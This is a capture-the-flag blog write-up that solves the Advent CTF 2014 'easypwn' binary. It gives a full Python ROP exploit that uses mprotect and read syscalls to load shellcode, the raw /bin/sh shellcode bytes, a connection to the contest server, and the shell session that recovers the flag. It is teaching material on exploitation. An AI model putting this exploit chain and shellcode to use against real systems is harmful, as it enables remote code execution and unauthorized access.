staring into /dev/null

barrebas

Advent CTF 2014 - Easypwn

Another pwnable, named “easypwn”, no less! Should be a walk in the park, right?

Of course, it turns out it wasn’t! We’re given only the executable. The challenge description informs us: no libs, ASLR enabled. Flag is in /home/easypwn/flag. Great! Disassembling the binary leads to the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
bas@tritonal:~/adventctf$ objdump -d easypwn -M intel

easypwn:     file format elf32-i386


Disassembly of section .text:

08048080 <syscall>:
 8048080: 8b 54 24 0c           mov    edx,DWORD PTR [esp+0xc]
 8048084: 8b 4c 24 08           mov    ecx,DWORD PTR [esp+0x8]
 8048088: 8b 5c 24 04           mov    ebx,DWORD PTR [esp+0x4]
 804808c: cd 80                    int    0x80
 804808e: c3                      ret
 804808f: 90                       nop

08048090 <pwn_me>:
 8048090: 83 ec 10              sub    esp,0x10
 8048093: b9 ed 80 04 08         mov    ecx,0x80480ed
 8048098: b8 04 00 00 00          mov    eax,0x4          # write
 804809d: 6a 08                    push   0x8
 804809f: 51                       push   ecx
 80480a0: 6a 01                    push   0x1              # stdout
 80480a2: ff d6                   call   esi
 80480a4: 83 c4 0c                 add    esp,0xc
 80480a7: 89 e1                    mov    ecx,esp
 80480a9: b8 03 00 00 00          mov    eax,0x3          # read
 80480ae: 68 80 00 00 00           push   0x80             # 128 bytes
 80480b3: 51                       push   ecx
 80480b4: 6a 00                    push   0x0              # stdin
 80480b6: ff d6                   call   esi
 80480b8: 83 c4 0c                 add    esp,0xc
 80480bb: 83 c4 10              add    esp,0x10
 80480be: c3                      ret
 80480bf: 90                       nop

080480c0 <_start>:
 80480c0: 56                       push   esi
 80480c1: be 80 80 04 08          mov    esi,0x8048080
 80480c6: e8 c5 ff ff ff          call   8048090 <pwn_me>
 80480cb: b9 f6 80 04 08         mov    ecx,0x80480f6
 80480d0: b8 04 00 00 00          mov    eax,0x4          # write
 80480d5: 6a 13                    push   0x13             # 0x13 bytes
 80480d7: 51                       push   ecx
 80480d8: 6a 01                    push   0x1              # stdout
 80480da: ff d6                   call   esi
 80480dc: 83 c4 0c                 add    esp,0xc
 80480df: b8 01 00 00 00          mov    eax,0x1          # exit
 80480e4: 6a 00                    push   0x0
 80480e6: ff d6                   call   esi
 80480e8: 83 c4 04              add    esp,0x4
 80480eb: 5e                      pop    esi
 80480ec: c3                      ret

That’s not a whole lot to work with. Running it gives a clue on what to do:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bas@tritonal:~/adventctf$ ulimit -c unlimited
bas@tritonal:~/adventctf$ ./easypwn
pwn me: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
Segmentation fault (core dumped)
bas@tritonal:~/adventctf$ gdb ./easypwn core
...snip...
Core was generated by './easypwn'.
Program terminated with signal 11, Segmentation fault.
#0  0x45454545 in ?? ()
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

OK, so it’s a buffer overflow, yet stack is not executable. The program uses no libraries but syscalls to do its work. We must be able to ROP our way to the flag! We have the syscall gadget lined up for us at 0x08048080. Looks easy, right? Wrong!

There is one big problem:

1
2
3
4
5
6
7
08048080 <syscall>:
 8048080: 8b 54 24 0c           mov    edx,DWORD PTR [esp+0xc]
 8048084: 8b 4c 24 08           mov    ecx,DWORD PTR [esp+0x8]
 8048088: 8b 5c 24 04           mov    ebx,DWORD PTR [esp+0x4]
 804808c: cd 80                    int    0x80
 804808e: c3                      ret
 804808f: 90                       nop

We have no way to set eax! The eax register contains the syscall number and is kind of crucial to what we want. I uploaded the binary to ropshell.com but I found no straightforward way to set eax. I’d prefer a mov eax or pop eax, or even sub eax or xor eax. Anything, really! I dumped the ROP gadgets with my own tool and found this little gadget:

1
RET: 0x80480e9: les eax, [esi+ebx*2]; ret;

Now this is a strange way to set eax. The les operand does the following: it loads the 48-bit value at the location of esi+ebx*2 and sets eax to the first 32 bits and the es register to the last 16 bits. However, es does not tolerate just any old value. If the wrong value is passed, the program SEGFAULTS. To keep things simple, I looked for values in the binary like this: 0x0000000i, 0x0000. This would load 0xi in eax and 0x0 in es.

It seemed nearly impossible to build a ROP chain that would open, read and write the data from the flag file. For instance, where would I write the filename? On the stack? ASLR is enabled so I’d have no idea of knowing where the stack is. Instead, I went with a different strategy.

I am going to use the syscall mprotect to make the code section from 0x8048000 to 0x8049000 writeable. When this succeeds, I can use syscall read to read in any shellcode from stdin to the code section. Finally, I simply return to that region.

A problem here is that I can’t set eax to 125 (==mprotect) with my little gadget. Instead, I re-use the return value of the last syscall before the buffer overflow: read! The return value of that syscall will be the number of bytes read… If we pass in 125 bytes as payload, then we get exactly the syscall number of mprotect in eax!

Here’s what I came up with, bit by bit. I started the binary via socat, to emulate the target system:

1
bas@tritonal:~/adventctf$ socat TCP-LISTEN:28099,fork EXEC:./easypwn

And this is the ROP chain I built:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python

import struct
import socket
import telnetlib

SYSCALL = 0x8048080
POPRET = 0x80480eb  # pop esi; ret
ADDESP = 0x80480bb  # add esp, 0x10; ret
LESEAX = 0x80480e9  # les eax,FWORD PTR [esi+ebx*2]

def p(x):
  return struct.pack("<L", x)

payload = ""

payload += "A"*16       # smash stack!

payload += p(SYSCALL)   # I rely on the return value of the read syscall
payload += p(ADDESP)    # fix stack with add esp, 10; ret
payload += p(0x8048000)    # address to modify
payload += p(0x1000)   # length (page-aligned!)
payload += p(0x7)      # PROT_READ|PROT_WRITE|PROT_EXEC
payload += "AAAA"      # dummy value

# reset ebx so we can set eax using the next gadget
payload += p(SYSCALL)
payload += p(ADDESP)
payload += p(0)            # set ebx = 0
payload += p(0x1000)   # don't care
payload += p(0x7)      # don't care
payload += "AAAA"      # dummy

# set eax = 3
# 0x804834a:  0x00000003  0x00000000
payload += p(POPRET)    # pop esi; ret
payload += p(0x804834a) # set esi = 0x804834a
payload += p(LESEAX)    # eax -> 0x3 == syscall_read

payload += p(SYSCALL)
payload += p(ADDESP)    # fix stack
payload += p(0)            # stdin
payload += p(0x8048000)    # address of buffer
payload += p(0x200)        # number of bytes to read
payload += "BBBB"      # dummy value

payload += p(0x8048000)    # return to shellcode!

# payload length must be 125, because after read, the next
# syscall is mprotect; eax = 125
payload += "A"*(125-len(payload))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost",28099))
s.connect(("pwnable.katsudon.org",28099))

s.send(payload)

# http://www.shell-storm.org/shellcode/files/shellcode-851.php
s.send("\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68")

# the shell should have been spawned, so interact with it
t = telnetlib.Telnet()
t.sock = s
t.interact()

This first bit of python sets up the exploit. I have a helper function called p(x) that can dump addresses in the correct endianness into the payload. First, the payload consists of 16 bytes to smash the stack. Then, the ROP chain starts. Finally, I made sure that the first payload is 125 bytes, so that eax will contain the correct syscall number for mprotect. This first important part of the ROP chain looks like this:

1
2
3
4
5
6
payload += p(SYSCALL)    # I rely on the return value of the read syscall
payload += p(ADDESP)    # fix stack with add esp, 10; ret
payload += p(0x8048000)    # address to modify
payload += p(0x1000)   # length (page-aligned!)
payload += p(0x7)      # PROT_READ|PROT_WRITE|PROT_EXEC
payload += "AAAA"      # dummy value

This will call syscall(0x8048000, 0x1000, 0x7) with eax set to 125. This makes the memory area at 0x8048000 writeable! Next, I need to read in the shellcode, but for that eax must be 3. I first reset ebx:

1
2
3
4
5
6
7
# reset ebx so we can set eax using the next gadget
payload += p(SYSCALL)
payload += p(ADDESP)
payload += p(0)            # set ebx = 0
payload += p(0x1000)   # don't care
payload += p(0x7)      # don't care
payload += "AAAA"      # dummy

Whatever this syscall is (I don’t know the value of eax after the mprotect call, nor do I care), it fails but the side-effect is that ebx is now 0. That sets us up for moving the correct number in eax:

1
2
3
4
5
6
7
# set eax = 3
'''
0x804834a:   0x00000003  0x00000000
'''
payload += p(POPRET)    # pop esi; ret
payload += p(0x804834a) # set esi = 0x804834a
payload += p(LESEAX)    # eax -> 0x3 == syscall_read

First, I use a pop esi; ret gadget to set the value of esi to a 48 bit value that contains: 0x3, 0x0. Then I return to the little gadget to set eax (and es) using those values. This results in eax being the correct number for the next syscall, read:

1
2
3
4
5
6
7
8
payload += p(SYSCALL)
payload += p(ADDESP)    # fix stack
payload += p(0)            # stdin
payload += p(0x8048000)    # address of buffer
payload += p(0x200)        # number of bytes to read
payload += "BBBB"      # dummy value

payload += p(0x8048000)

This reads in 0x200 bytes from stdin to the start of the executable section of the binary. Finally, the ROP chain returns to the start of that buffer, which hopefully contains our shellcode! Finally, make sure that the payload is indeed 125 bytes long, else this entire house of cards falls down:

1
2
3
# payload length must be 125, because after read, the next
# syscall is mprotect; eax = 125
payload += "A"*(125-len(payload))

Because I ran the executable locally via socat, I need to connect to the proper socket and send the payload. The same goes for the remote connection.

1
2
3
4
5
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost",28099))
s.connect(("pwnable.katsudon.org",28099))

s.send(payload)

After finishing the ROP chain, the binary should now be awaiting further shellcode on stdin, so I’d better send that over quickly!

1
2
3
4
5
6
7
# http://www.shell-storm.org/shellcode/files/shellcode-851.php
s.send("\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68")

# the shell should have been spawned, so interact with it
t = telnetlib.Telnet()
t.sock = s
t.interact()

The shellcode is sent over; the ROP chain will read it at 0x8048000, return to it and execute /bin/sh. Then I pass the socket to a telnet client to interact with the spawned shell. This allowed me to read the flag!

1
2
3
4
5
6
bas@tritonal:~/adventctf$ python exploit_easy.py
pwn me:
id
uid=1000(easypwn) gid=1000(easypwn) groups=1000(easypwn)
cat /home/easypwn/flag
ADCTF_175_345y_7o_cON7ROL_5Y5c4LL

The flag was ADCTF_175_345y_7o_cON7ROL_5Y5c4LL.

Comments